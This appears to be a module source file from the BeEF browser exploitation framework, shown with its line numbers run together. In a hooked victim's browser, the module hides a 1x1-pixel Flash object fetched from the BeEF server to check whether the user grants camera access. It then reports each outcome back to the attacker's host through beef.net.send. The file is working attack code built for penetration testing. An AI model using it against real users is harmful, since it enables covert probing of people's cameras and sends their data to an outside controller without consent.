Path: blob/master/modules/browser/webcam_permission_check/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//567beef.execute(function() {8910//These 3 functions [naPermissions() The camera is not available or not supported11// yesPermissions() The user is allowing access to the camera / mic12// yesPermissions() The user has not allowed access to the camera / mic13// Flash will invoke these functions directly.14//var js_functions = '<script>function noPermissions() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has not allowed BeEF to access the camera :("); }; function yesPermissions() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has allowed BeEF to access the camera :D"); }; function naPermissions() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Camera not supported / available :/"); }; ';1516//This function is called by swfobject, if if fails to add the flash file to the page1718//js_functions += 'function swfobjectCallback(e) { if(e.success){beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject successfully added flash object to the victim page");}else{beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed.");} };</script>';1920//These functions are global so they can accessed by the cameraCheck.swf file2122noPermissions = function() {23beef.net.send("<%= @command_url %>",<%= @command_id %>,"result=The user has not allowed BeEF to access the camera :(");24}2526yesPermissions = function() {27beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has allowed BeEF to access the camera :D");28}2930naPermissions = function() {31beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Camera not supported / available :/&unmount=true");32}3334//After the swfobject loads the SWF file, this callback sends a status back to BeEF3536var swfobjectCallback = function(e) {37if(e.success){38beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject successfully added flash object to the victim page");39} else {40beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed.");41}42}434445//This is the DIV for the flash object4647var body_flash_container = '<div id="main" style="position:absolute;top:150px;left:80px;width:1px;height:1px;opacity:0.8;"></div>';48$j('body').append(body_flash_container);4950// Lets execute swfobject.js51// If it works, we then run it to embed the swf file into the above div52$j.getScript(beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js',function(data,txtStatus,jqxhr) {53var flashvars = {};54var parameters = {};55parameters.scale = "noscale";56parameters.wmode = "opaque";57parameters.allowFullScreen = "true";58parameters.allowScriptAccess = "always";59var attributes = {};60swfobject.embedSWF(beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/cameraCheck.swf', "main", "1", "1", "9", "expressInstall.swf", flashvars, parameters, attributes, swfobjectCallback);61});6263//A library that helps include the swf file64//var swfobject_script = '<script type="text/javascript" src="'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js"></script>'6566//This is the javascript that actually calls the swfobject library to include the swf file67//var include_script = '<script>var flashvars = {}; var parameters = {}; parameters.scale = "noscale"; parameters.wmode = "opaque"; parameters.allowFullScreen = "true"; parameters.allowScriptAccess = "always"; var attributes = {}; swfobject.embedSWF("'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/cameraCheck.swf", "main", "1", "1", "9", "expressInstall.swf", flashvars, parameters, attributes, swfobjectCallback);</script>';686970//Add flash content71//$j('body').append(js_functions, swfobject_script, body_flash_container, include_script);7273});7475767778798081